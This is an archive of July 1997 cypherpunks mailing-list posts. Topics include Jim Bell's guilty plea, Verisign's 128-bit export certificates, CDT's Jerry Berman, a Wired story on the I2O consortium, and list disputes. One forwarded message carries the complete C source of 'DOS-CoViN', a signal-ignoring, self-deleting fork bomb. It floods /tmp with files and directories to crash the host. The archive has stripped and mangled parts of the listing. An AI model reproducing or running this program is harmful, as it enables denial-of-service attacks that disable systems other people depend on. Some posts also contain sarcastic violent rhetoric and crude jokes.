> found guilty. So, what'll it be?"

The sending of this email to people Jim has communicated with, if it was 
a real mail (I haven`t checked before but other people have and have said 
the headers indicate it passed through several .gov hosts), constitutes 
cowardly harrasment. Lock and Load.


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From lharrison at mhv.net  Mon Jul 21 13:14:39 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Tue, 22 Jul 1997 04:14:39 +0800
Subject: Jim Bell: "IRS Inspection" mail confirmed
In-Reply-To: 
Message-ID: <3.0.2.32.19970721160624.006c670c@pop.mhv.net>



At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.


Which two counts?  Do you know what the plea bargain is re: sentencing?







From paul at fatmans.demon.co.uk  Mon Jul 21 14:37:37 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 22 Jul 1997 05:37:37 +0800
Subject: Crypto implants
In-Reply-To: <199707190103.UAA22861@mailhub.amaranth.com>
Message-ID: 





> Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
> Citizens is an excepted investigation tatic of the federal government
> these days. Unfortunatly I don't see things changing any time in the
> future.

Citizen sanitization and removal of undesirable citizen-units is often 
necessary to meet the legitimate concerns of law enforcement, surely any 
reasonable person would realise that.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From hallam at ai.mit.edu  Mon Jul 21 15:05:38 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 22 Jul 1997 06:05:38 +0800
Subject: Verisign gets export approval
Message-ID: <199707212144.RAA15989@life.ai.mit.edu>



I think you have to see the whole gameplan to understand what is going
on.

The issue is the "exportable" versions of Navigator and Internet
Explorer. Presumably Microsoft wants to release as strong a general
crypto solution as they can.

So if you are a merchant in the US selling to a European customer you
want to use 128bit encryption if it is available. The issue to consider
is not the 128bit certs, it is the client base. To access that base of
128bit "exportable" clients you have to have the magic certificate
whether or not you are in the US. Sameer's server is irrelevant, the
certificate is used to "throw the switch" on the client, not the server.

This only looks like it hands Uncle Sam a magic key if you consider the
single case. The problem is what the response of the other users of the
foreign certificates is should the government actually put its key to
use. The revocation must be a public act for it to be effective.

Certainly I can't imagine the US government asking Airbus industries to
hand over their accounts data so they can pass it straight on to Boeing.
I can't see it affecting any of the similar industrial espionage risks
that concern the companies likely to be allowed to use the system.

This is not a personal privacy issue, it is an individual talking to
large corporation who is not going to resist a lawful subpoena in any
case.

I don't think getting someone else to act as a CA would work either.
Whoever approved the scheme at the NSA would have insisted on the
clients requiring a cert directly signed off a root controled by a party
that had agreed to enforce the USG terms.

It would be much easier to circumvent the restrictions by replacing the
https transport component in Internet Explorer. The API is designed to
allow new protocols to be slotted in. It should not be a big hassle to
introduce a full and unrestricted SSL implementation.

All Verisign is doing is selling a cert that states that the holder is
trusted by the USG to operate on terms that it considers acceptable to
use 128bit encryption. If the USG no longer trusts the holder in that
manner the attribute is false and the cert should therefore be revoked.
The problem for the USG is that if the scheme succeeds it creates a
demand for 128 bit encryption that makes the revocation mechanism too
dangerous to use.

Freeh is essentially operating under the assumption that he can persuade
the Europeans to accept his proposals if he has more time to explain
them. I suspect that the opposite may be the case and that the
resistance to Freeh is informed about the ecconomic power that the
situation hands the US.


     Phill


Phillip M. Hallam-Baker
Visiting Scientist
MIT Laboratory for Artificial Intelligence.
Email: hallam at ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html
http://www.hallam.demon.co.uk/







From enoch at zipcon.net  Mon Jul 21 15:26:30 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Tue, 22 Jul 1997 06:26:30 +0800
Subject: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <19970721220322.4472.qmail@zipcon.net>



Duncan Frissell  writes:

 > I'll be curious to see what kind of deal he got.  It had
 > better be an awfully good one (say "time served").  If not
 > he was as dumb as toast.

Let's hope it was not the "8 years" I heard on the evening news,
although I didn't catch whether that was just a possible
sentence, or the results of the plea bargain negotiations.

 > He had a perfect chance to rake the Feds over the
 > coals and try nasty disfavored defenses like
 > Selective Prosecution.  Hard to win that one but
 > he had as good a case as any one I've seen for
 > that defense.  At the most, he would have gotten a
 > short sentence if convicted.  Big deal.

Perhaps.  But he would have been tried in the media, and would
probably have been transformed into "Terrorist Jim Bell" at the
hands of the spin masters.  In the end, even if he won in court,
he would have been about as popular as OJ, and the entire
population of America would have learned to live their lives in
constant fear of smelly organic chemicals and nickel-plated
carbon fibers. Parents would be mail-ordering carbon fiber test
kits to use in their childrens' rooms.

 > Since he was apparently not doing a great deal with his
 > life in any case, he could have used it for some good.  Make
 > the Feds spend hundreds of thousands of dollars on him and
 > tie up their resources.

I would certainly try to make any such harrassment of me as
expensive as possible for those engaging in it.  On the other
hand, Bell does have living relatives, which makes unilateral
nose-thumbing at the state apparatus more risky.

 > Prison is no punishment for those who like to read and write.

Being bossed around by assholes is always annoying, regardless of
ones academic interests.

 > In these political cases where the Feds are clearly
 > overreaching, those who don't plead do much better than
 > those who do.  This is the reverse of the situation in
 > normal criminal cases.

Tell that to Robert "ream me again, please" Thomas of Amateur
Action BBS fame, who wasn't even accused of being a potential
terrorist, much less of trying to overthrow the entire
government.

 > Don't plead in political cases.  It's stupid.

Don't plead in political cases like Steve Jackson Games, PROMIS,
Operation Sun Devil, etc...  On the other hand, if you are
accused of being one of the actual Four Horsemen, and the feds
are holding press conferences on every channel with inflammatory
voice-over editorials describing the alleged contents of your
dwelling, some capitulation to the Barbarians may be necessary.

There are a number of adages which apply to this situation,
amongst them...

    Don't get involved in fights you can't win.

    When you aim for the King, shoot to kill.

    The goal of war is not to die for your country, but to make
    sure the enemy dies for theirs. 

    etc...

Enumerating Bell's violations of these common sense principles is
left as an exercise to the reader. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}









From 3umoelle at informatik.uni-hamburg.de  Mon Jul 21 15:40:40 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 22 Jul 1997 06:40:40 +0800
Subject: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: 



----- Forwarded message from Jerry Berman -----

As you probably noticed, this letter was written in 1985 and represented
the position of the ACLU at that time. Times, and organizations, and
technology have changed dramatically in the last 12 years, and so has my
view on this issue.

I strongly believe both legal *and* technical protections are essential to
guarantee privacy rights (including the right to anonymity) and have
worked, with my associates at CDT and others on the Net, to promote the use
of strong ecnryption as a way to protect privacy.  I also continue to work
for  legal restrictions on electronic surveillance.

Please post this wherever you think this might clarify my position and the
debate.

Thanks,

Jerry Berman


----- End of forwarded message from Jerry Berman -----






From stutz at dsl.org  Mon Jul 21 16:02:44 1997
From: stutz at dsl.org (Michael Stutz)
Date: Tue, 22 Jul 1997 07:02:44 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: 



On Sat, 19 Jul 1997, Mismatched NFS IDs wrote:

> I think that depends on what people start adopting.  If you want
> "geodesic" software, use Linux.  Pieces are there from every continent,
> and all any business needs to do to have a driver and applications written
> for any hardware is to release the spec.  It is flexible and upgradable
> and 'out of control', and is developed on the internet.  Interestingly
> enough, the only stego-crypto "device" I know of is the linux loop device.

Like a geodesic network, it naturally routes around obstructions or any
attempts to stop it.

This is a story I did for Wired News today about a possible attempt at
stopping free software in the most obvious manner -- close the hardware.
Notice the outcome.


   [1][USEMAP]
   [INLINE]
   [2][USEMAP]
   [3][USEMAP]
   
   
   
   [INLINE]
   _______________
   ______________
   
   
   
   
   [4][LINK]
   [INLINE]
   [5][LINK] _Consortium Segregates the Bus_
   
   _by [6]Michael Stutz _
   3:07pm  21.Jul.97.PDT A coming improvement to the PC architecture
   promises to dramatically enhance throughput for high-end servers,
   while at the same time only granting a select few the right to create
   software for it. Some programmers say this is a move by corporate
   giants like Microsoft to enforce a prohibition on the growing free
   software movement, and have begun to fight it.
   
   Intelligent Input/Output, or I20, is the technical specification for
   the next breed of high-end PC hardware devices invented by Intel and
   developed by the [7]I2O SIG, an industry consortium. Conforming
   hardware will help relieve I/O-intensive enterprise applications, such
   as client/server networking and videoconferencing, by taking the I/O
   load from the CPU, said consortium spokesman Michael LoBue. "It
   'tweaks' the basic architecture by offloading I/O processing from the
   CPU to a dedicated I/O processor," he said.
   
   This built-in processor is part of an intelligent I/O subsystem that
   would even allow I2O devices to communicate with each other - for
   example, a network card could make a request directly to a disk
   controller - without intervention by the CPU or operating system.
   Eventually, OEMs such as H-P and Dell may release high-end systems
   conforming with I2O, some before the calendar year's end.
   
   "We feel that the technology is promising," said Patrick Franklin,
   Microsoft's I2O SIG rep, who confirmed that its NT 5 operating system
   will begin to implement I2O compatibility while noting that "there's
   the risk that I2O performance will not justify the cost."
   
   But another issue has begun to raise a stink with programmers - the
   ability to write and share software for I2O-enabled hardware devices
   is controlled by the Microsoft-dominated SIG.
   
   "It looks as if the I2O SIG agreements are deliberately written to
   exclude free software," said Bruce Perens, chairman of [8]Software in
   the Public Interest, a nonprofit organization formed to support Debian
   GNU/Linux, a free Linux operating system package. "It's my opinion
   that this was a very deliberate decision on the part of the I2O
   consortium, and specifically on the part of their sponsors Microsoft
   and Novell."
   
   Free software - software whose source code is shared throughout the
   Net community - has taken a good portion of the high-powered server
   market that I2O targets, said Perens. "[For] [9]Web servers, file
   servers, and big-ticket systems, people have dumped high-priced
   commercial server packages in favor of free software."
   
   Because software development for I2O peripherals is forbidden for
   nonmembers, the US$5,000 yearly membership dues will put individuals
   and small organizations out of the game. Members themselves are not
   permitted to disclose their source code, and Microsoft has veto power
   to drop any organization from the SIG. This makes a grim scenario for
   independent programmers.
   
   The usual reason for keeping a hardware system closed - to prevent
   cloning of the device - does not apply in this case, as all I2O
   hardware vendors have access to the same documentation. "Five thousand
   dollars is assurance that the little guys, people like [10]Linus
   Torvalds [the original author of Linux] who might work for a college
   or program at home on hardware they purchased with their own money,
   will be locked out," Perens said.
   
   But, says LoBue, "I try to tell these people that one, this isn't a
   conspiracy and two, the founders are not stupid, ignorant people
   unaware of a free approach to licensing - so grow up, get over it.
   Either join or wait until such time as they feel that it doesn't need
   to be licensed. Boy, they're sure having a lot of fun on their soapbox
   lecturing about how ruin and damnation will happen because there are
   'proprietary specs.' I would claim that I2O is _not_ a proprietary
   spec - _anybody_ is free to join the SIG."
   
   Proprietary specs have surfaced many times throughout PC history; the
   outcomes have almost never been good. The MicroChannel Architecture
   bus was IBM's one-time attempt to keep the PC bus its own. It didn't
   work.
   
   "MCA was doomed from the start," said Microsoft's Franklin, citing the
   difficulties in getting a license from the IBM bureaucracy as a prime
   catalyst for its demise. Similarly, it may prove tough to impossible
   to keep determined hackers from programming their own hardware: Some
   have even now routed around the I2O membership requirements, informing
   Wired News that the secret document describing I2O in its current
   revision was [11]openly available from the I2O SIG's own site.
   
   _Related Wired Links:_
   [INLINE]
   
   _[12]Penguin Plaque Honors Linux Creator
   9.Jul.97_
   
   
   
   [13][LINK] [14][USEMAP]
   
   [15]Feedback: Let us know how we're doing.
   
   [16]Tips: Have a story or tip for Wired News? Send it.
   
   [17]Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies.
   All rights reserved.
   
   [18][USEMAP]
   [INLINE] [INLINE]
   [19]PSINet. Sign up now and get $200 of free Internet faxing.
   
   [20]Consortium Segregates the Bus
   
   [INLINE]
   _TECHNOLOGY_
   _Today's Headlines_
   
   _[21]Email Spy Lurks in Corporate Future
   
   [22]Digital Maps Help You Take a High-Tech Hike
   
   __[23]Consortium Segregates the Bus
   
   [24]Net Cannot Work by Man Alone
   
   [25]Launch Entrepreneurs Bet Down Under Goes Over
   
   [26]Sun's Adventures in the Third Dimension
   
   __[27]Tools: Internet Explorer 4.0 Preview 2
   
   [28]Street Cred: The Interface Hackers
   
   [29]Geek Talk: VBScript
   
   _[30]PSINet. Sign up now and get $200 of free Internet faxing.

References

   1. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#masthead.map
   2. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav1.map
   3. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav2.map
   4. http://www.wired.com/wired/
   5. http://www.wired.com/news/news/technology
   6. mailto:stutz at dsl.org
   7. http://www.i2osig.org/
   8. http://www.debian.org/social_contract.html
   9. http://www.netcraft.com/Survey/Changes/ALL/
  10. http://www.forwiss.uni-passau.de/forwiss/archive/linux/personen/interview.html
  11. ftp://ftp.i2osig.org/ver1-5.pdf
  12. http://www.wired.com/news/news/culture/story/1763.html
  13. http://www.wired.com/news/news/technology
  14. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#navstrip.map
  15. mailto:news_feedback at wired.com
  16. mailto:tips at wired.com
  17. http://www.wired.com/wired/full.copyright.html
  18. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav3.map
  19. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G at http://www.psi.net/bannerads3/hotwired at news@topstories at def@psinet at psinet/greenpsinet125@
  20. http://www.wired.com/news/news/technology/story/5343.html
  21. http://www.wired.com/news/news/technology/story/5315.html
  22. http://www.wired.com/news/news/technology/story/5313.html
  23. http://www.wired.com/news/news/technology/story/5343.html
  24. http://www.wired.com/news/news/technology/story/5321.html
  25. http://www.wired.com/news/news/technology/story/5304.html
  26. http://www.wired.com/news/news/technology/story/5287.html
  27. http://www.wired.com/news/news/technology/story/5337.html
  28. http://www.wired.com/news/news/technology/story/5272.html
  29. http://www.wired.com/news/news/technology/story/5266.html
  30. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G at http://www.psi.net/bannerads3/hotwired at news@topstories at def@psinet at psinet/greenpsinet125@






From tcmay at got.net  Mon Jul 21 16:21:44 1997
From: tcmay at got.net (Tim May)
Date: Tue, 22 Jul 1997 07:21:44 +0800
Subject: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: 



At 3:03 PM -0700 7/21/97, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, and the entire
>population of America would have learned to live their lives in
>constant fear of smelly organic chemicals and nickel-plated
>carbon fibers. Parents would be mail-ordering carbon fiber test
>kits to use in their childrens' rooms.

I see some publishing opportunities:

"How to Tell if Your Child is a "Cypherpunk""

"What to do if your children display an unhealthy interest in chemistry."

"The 10 warning signs an information terrorist is in your community."

And the mother of all titles, "Fear, Uncertainty, and Doubt."

Next on Oprah, children who use cryptography to keep secrets from their
parents.

--Tim May

P.S. Will Bell be allowed to receive encrypted messages in jail? (Bell can
report to us firsthand the practical realities of both the "prisoner's
dilemma" and the use of covert channels to communicate with other prisoners
in plain sight.)

P.P.S. Earlier today Duncan opined that prison is a good place for people
who like to read and write. First, it depends on what they let one read.
Second, no Net access. Third, and most importantly, it depends critically
on what kind of prison one is in. If your cellmate is Bubba and he wants
you to be his "wife"...



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From wcreply at ctia.org  Mon Jul 21 17:03:39 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Tue, 22 Jul 1997 08:03:39 +0800
Subject: WOW-COM(TM) News Update
Message-ID: <199707212341.TAA01871@intraactive.com>



Dear WOW-COM Reader:

WOW-COM� is the wireless industry�s online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1)	Letters to FBI regarding Electronic Surveillance

2)	The Clearinghouse Report on Antenna Siting
	
3)	WOW-COM's MICROSITES: Focused Content for Focused Needs

4)	Taking a vacation?  Use our news archive feature


Electronic surveillance standards: CALEA
=======================================================
http://www.wow-com.com/professional/whatshot/

The Cellular Telecommunications Industry Association ("CTIA") filed a petition for rulemaking before the Federal Communications Commission ("Commission") on Wednesday July 16, 1997, to expedite development of a lawfully authorized electronic surveillance standard under the 1994 Communications Assistance for Law Enforcement Act  ("CALEA"). See the whole story here.


THE CLEARINGHOUSE REPORT ON ANTENNA SITING
==============================================
http://www.wow-com.com/professional/siting/ 

Check out the CTIA Clearinghouse Report on Siting, the industry�s most comprehensive research on siting issues.  Containing information on current moratoria, new regulations proposed and adopted by municipalities and recent judicial proceedings.  The Siting Report is located in the Siting Microsite.


WOW-COM's MICROSITES: Focused Content for Focused Needs
===================================================
http://www.wow-com.com/professional/micro/

A Microsite is a subsection of WOW-COM(TM) that focuses on an issue of vital interest to the wireless industry.  WOW-COM currently supports Microsites on the following topics: Antenna Siting, Wireless Fraud, Systems Integration, Wireless Apps.


TAKING A VACATION? USE OUR NEWS ARCHIVE FEATURE!
=================================================
http://www.wow-com.com/results/professional/news/
Getting back from vacation and need to catch up on wireless news?  WOW-COM's News Search feature can access any news article that has ever been on our system.  Just scroll to the bottom of this page and type in the keyword and, or date range.


==================================================
MORE WOW-COM� FEATURES
=============================
WOW-COM� is current: Updated 3x per day.
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=============================================================
This update sponsored by: IBM
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From kent at songbird.com  Mon Jul 21 18:31:46 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 22 Jul 1997 09:31:46 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970721180611.27600@bywater.songbird.com>



On Mon, Jul 21, 1997 at 10:29:37AM -0600, Jim Burnes wrote:
> 
[...]
> Re: Tim May's quote.  May is pointing out the truism that the world
> is full of weak-minded fools.

Almost everybody believes they are above average, believe it or not.

> This is the essential problem of
> the illusory democracy that we live in today.  Since in our 
> illusory democracy, the people falsely believe they've excercised their
> will via "the vote".

?

> The reality is that the sheeple, lulled into veritable unconsciouness with
> an unending stream of monday-night sports, the Home Shopping Channel (TM) 
> and Beavis and Butthead couldn't care a less as long as they feed on the
> media/social security/propaganda tit.  Their personal opinions, thorougly
> pre-chewed and digested are spoon-fed to them through a port in the side
> of their head labeled "fear".

Right.  So those people simply don't count, and might as well be
eliminated.

> May is just one of the people who has awoken from the anesthesia
> (self-induced or not).

No, Tim obviously lives in a world rich in fantasy.  But he is a very
clever fellow, and can be quite impressive.  

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Mon Jul 21 18:53:14 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 22 Jul 1997 09:53:14 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: <19970721183800.02930@bywater.songbird.com>



On Sat, Jul 19, 1997 at 07:12:35PM +0000, Paul Bradley wrote:
[...]
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?

I didn't receive a copy, and I had several private email discussions
with Jim Bell.

[...]

> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment.

Oh, right.  If there is anyplace in cyberspace where experts in 
cowardly harassment by email exist, it is on this list.  Get real.

More likely someone at IRS thought they would stir things up a bit, 
and is having a bit of fun watching all this.  Maybe they even 
thought they were doing people a favor.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ravage at ssz.com  Mon Jul 21 19:44:21 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 22 Jul 1997 10:44:21 +0800
Subject: Controversial Technology
Message-ID: <199707220224.VAA12597@einstein.ssz.com>



Hi Jack,

I have removed your subscription to the Experimental Science Instrumentation
mailing list.

I would however like to point out that security through obscurity (ie
ignorance) is not security. It is self-delusion. One can not protect them
selves reliably from the many consequences of technology and society via
ignorance. That which you don't know not only can hurt you but can kill you.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-tesla at ssz.com Mon Jul 21 21:13:16 1997
> Date: Mon, 21 Jul 1997 21:13:15 -0500
> Message-Id: <199707220213.VAA12566 at einstein.ssz.com>
> To: owner-tesla at ssz.com
> From: owner-tesla at ssz.com
> Subject: BOUNCE tesla at ssz.com: Admin request
> 
> >From tesla-owner at ssz.com  Mon Jul 21 21:13:13 1997
> Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for ; Mon, 21 Jul 1997 21:13:11 -0500
> Date: Mon, 21 Jul 1997 21:13:11 -0500
> Message-Id: <199707220213.VAA12560 at einstein.ssz.com>
> Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon,
>           21 Jul 1997 19:21:36 MST
> X-Sender: JHERRON at BASIX.COM
> X-Mailer: Windows Eudora Light Version 1.5.2
> MIME-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> To: tesla at ssz.com
> From: JACK HERRON 
> Subject: Re: fork problem, fix? (fwd)
> 
> Jim Choate,
>         There is nothing ethical about fabricating destructive programs and
> distributing them to the irresponsible, while hiding like a coward.  Please
> unsubscribe me.
> 
> Jack Herron
> 
> 
> 
> 
> 
> 
> At 08:05 AM 7/21/97 -0500, you wrote:
> >Forwarded message:
> >>From owner-cypherpunks at ssz.com Mon Jul 21 07:39:29 1997
> >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST)
> >Message-Id: <199707210455.GAA29231 at basement.replay.com>
> >To: cypherpunks at toad.com.redhat-list@redhat.com
> >From: nobody at replay.com (Name Withheld by Request)
> >Organization: Replay and Company UnLimited.
> >XComm: This message was automaticly Remailed by an Anonymous Remailer.
> >XComm: Report problems or inappropriate use to 
> >subject: fork problem, fix?
> >Sender: owner-cypherpunks at ssz.com
> >Precedence: bulk
> >X-Mailing-List: cypherpunks at ssz.com
> >X-List-Admin: list at ssz.com
> >X-Loop: ssz.com
> >
> >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
> >   bugtraq
> >
> >   This program is a beefed up classic denial of service fork()'er :)
> >
> >   Compilation:
> >	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
> >	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
> >
> >	on my linux, I can compile it with both -DBSD_C and -DSYSV_C
> >
> >	if your not sure, you can experiment, or compile it
> >	without any -D'efines
> >
> >
> >   In the future:
> >	SunOS signals ignored.
> >	Creation of random symlinks for more gory destruction.
> >	Using advanced technology coding to make the hard drive
> >		blow up with a loud boom and the console explode
> >		causing a nuclear meltdown.
> >
> >
> >
> >   Direct All Suggestions And Flames to: Vio
> >
> >  NOTE: this program is provided for educational purposes only, its author
> >	will not take any responsibility for any stupid things you will
> >	decide to do.
> >
> >	this has been tested, but not the latest version of it.
> >
> >            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
> >            $$'   s   `$'   s   `$    $    $    $    `$   $$
> >            $$    $    $    $    $    $    $    $         $$
> >            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
> >            $$    $ssss$    $    $    $    $    $   $$$   $$
> >            $$    $    $    $    $.   $   ,$    $   $$$   $$
> >            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
> >            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
> >
> >*/
> >
> >
> >#include 
> >#include 
> >#include 
> >#include 
> >#include 
> >#include 
> >#include 
> >
> >#define MAX_FILELEN 100	/* The _actual_ max length */
> >#define MAX_DIRLEN 10
> >
> >#define START_DIR "/tmp"   /* This can be substituted for any directory */
> >			   /* that you have write access to		*/
> >
> >void dirs_generator(void);
> >
> >main(int argc, char *argv[])
> >{
> >int fp;
> >char *buff;
> >char chr;
> >
> >unlink(argv[0]);
> >
> >/* You might wanna ignore all the signals you can ignore.. */
> >signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
> >signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
> >signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
> >signal(SIGALRM,	SIG_IGN);
> >signal(SIGBUS,	SIG_IGN);
> >signal(SIGFPE,	SIG_IGN);
> >signal(SIGILL,	SIG_IGN);
> >signal(SIGIOT,	SIG_IGN);
> >signal(SIGPIPE,	SIG_IGN);
> >signal(SIGQUIT,	SIG_IGN);
> >signal(SIGSEGV,	SIG_IGN);
> >signal(SIGTRAP,	SIG_IGN);
> >signal(SIGUSR1,	SIG_IGN);
> >signal(SIGUSR2,	SIG_IGN);
> >
> >#ifdef BSD_C 
> >	signal(SIGPROF, SIG_IGN);
> >	signal(SIGSTOP, SIG_IGN);
> >	signal(SIGTSTP, SIG_IGN);
> >	signal(SIGTTIN,	SIG_IGN);
> >	signal(SIGTTOU,	SIG_IGN);
> >	signal(SIGVTALRM,	SIG_IGN);
> >	signal(SIGXCPU,	SIG_IGN);
> >	signal(SIGXFSZ,	SIG_IGN);
> >#endif
> >
> >#ifdef SYSV_C
> >	signal(SIGPOLL,	SIG_IGN);
> >	signal(SIGPWR,	SIG_IGN);
> >#endif
> >
> >if(fork()) {
> >	printf("Now crashing and blowing up this system.. have a nice day\n");
> >	printf("You can safely logout, and let the proggie do its work\n");
> >	printf("or you can stick around and watch lag go from 0 to bitch\n");
> >	printf("in a matter of seconds\n");
> >	printf("					--CoViN		 \n");
> >	exit(0);
> >  }
> >fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
> >if(fork()) {
> >	while(1) {
> >		fork();
> >		buff = malloc(64000);
> >		write(fp, buff, 64000);
> >		system("uptime");
> > 	}
> > }
> >dirs_generator();
> >}
> >
> >
> >void dirs_generator(void)
> >{
> >char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
> >char fl[MAX_FILELEN]; 
> >char dir[MAX_DIRLEN];
> >int i;
> >int flen;
> >
> >printf("Making dirs..\n");
> >chdir(START_DIR);
> >
> >fork();	/* For the simplicity of the code.. we also want more dir's from */
> >fork(); /* the START_DIR						 */
> >fork();
> >
> >while(1) {
> >	fork();
> >	flen= (rand() % MAX_FILELEN) - 1;
> >	for(i=0; i >                fl[i] = alph[rand() % strlen(alph)];
> >	fl[MAX_FILELEN-1]=0;
> >	i=open(fl,O_WRONLY|O_CREAT);
> >	write(i,"fuck you! CoViN",16);
> >	close(i);
> >
> >	flen= (rand() % MAX_DIRLEN) - 1;
> >	for(i=0; i >		dir[i] = alph[rand() % strlen(alph)];
> >	dir[MAX_DIRLEN-1]=0;
> >	mkdir(dir,0);	
> >	chdir(dir);
> >       }
> >}
> >
> >
> -----------------------------------------
> Jack Herron - Editor
> Society for Amateur Scientists
> 8118 E. 20th St.
> Tucson, AZ 85710 USA
> jherron at basix.com
> 520 885-6933
> 






From declan at well.com  Mon Jul 21 19:52:06 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 22 Jul 1997 10:52:06 +0800
Subject: Fight-each-other
Message-ID: 





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 19:29:48 -0700 (PDT)
From: Declan McCullagh 
To: "James S. Tyre" 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: Fight-each-other

Some random thoughts:

It's no surprise that pro-CDA folks are on f-c. Paul Cardin from OCAF
subscribed about a year ago. Bruce Taylor and lawyers for Enough is Enough
and the Family Research Council have been known to frequent the list,
along with a variety of Hill staffers.

They do a better job of keeping their disagreements under wraps, though if
you ask the right questions you'll learn about some of the riffs that
split their community over CDA I. We're not as organized -- nor should we
be. Netizens, by their very nature, can't march in lockstep together. 
Sure, the pro-CDA I forces will hear our squabbles, smell our dirty
laundry. But this debate won't continue forever, and perhaps some common
ground will emerge.

Maybe it was naive to think that the anti-CDA coalition would hang
together after the Supreme Court decision. After all, the current fault
lines are split along some of the same divisions that existed for a year
and a half in two lawsuits: the one organized by the ACLU and the one
organized by CIEC. I've heard some say that the current dispute was
inevitable. 

Or, think of it this way: when privacy groups ally with the religious
right on database legislation, they don't expect their alliance to last
forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
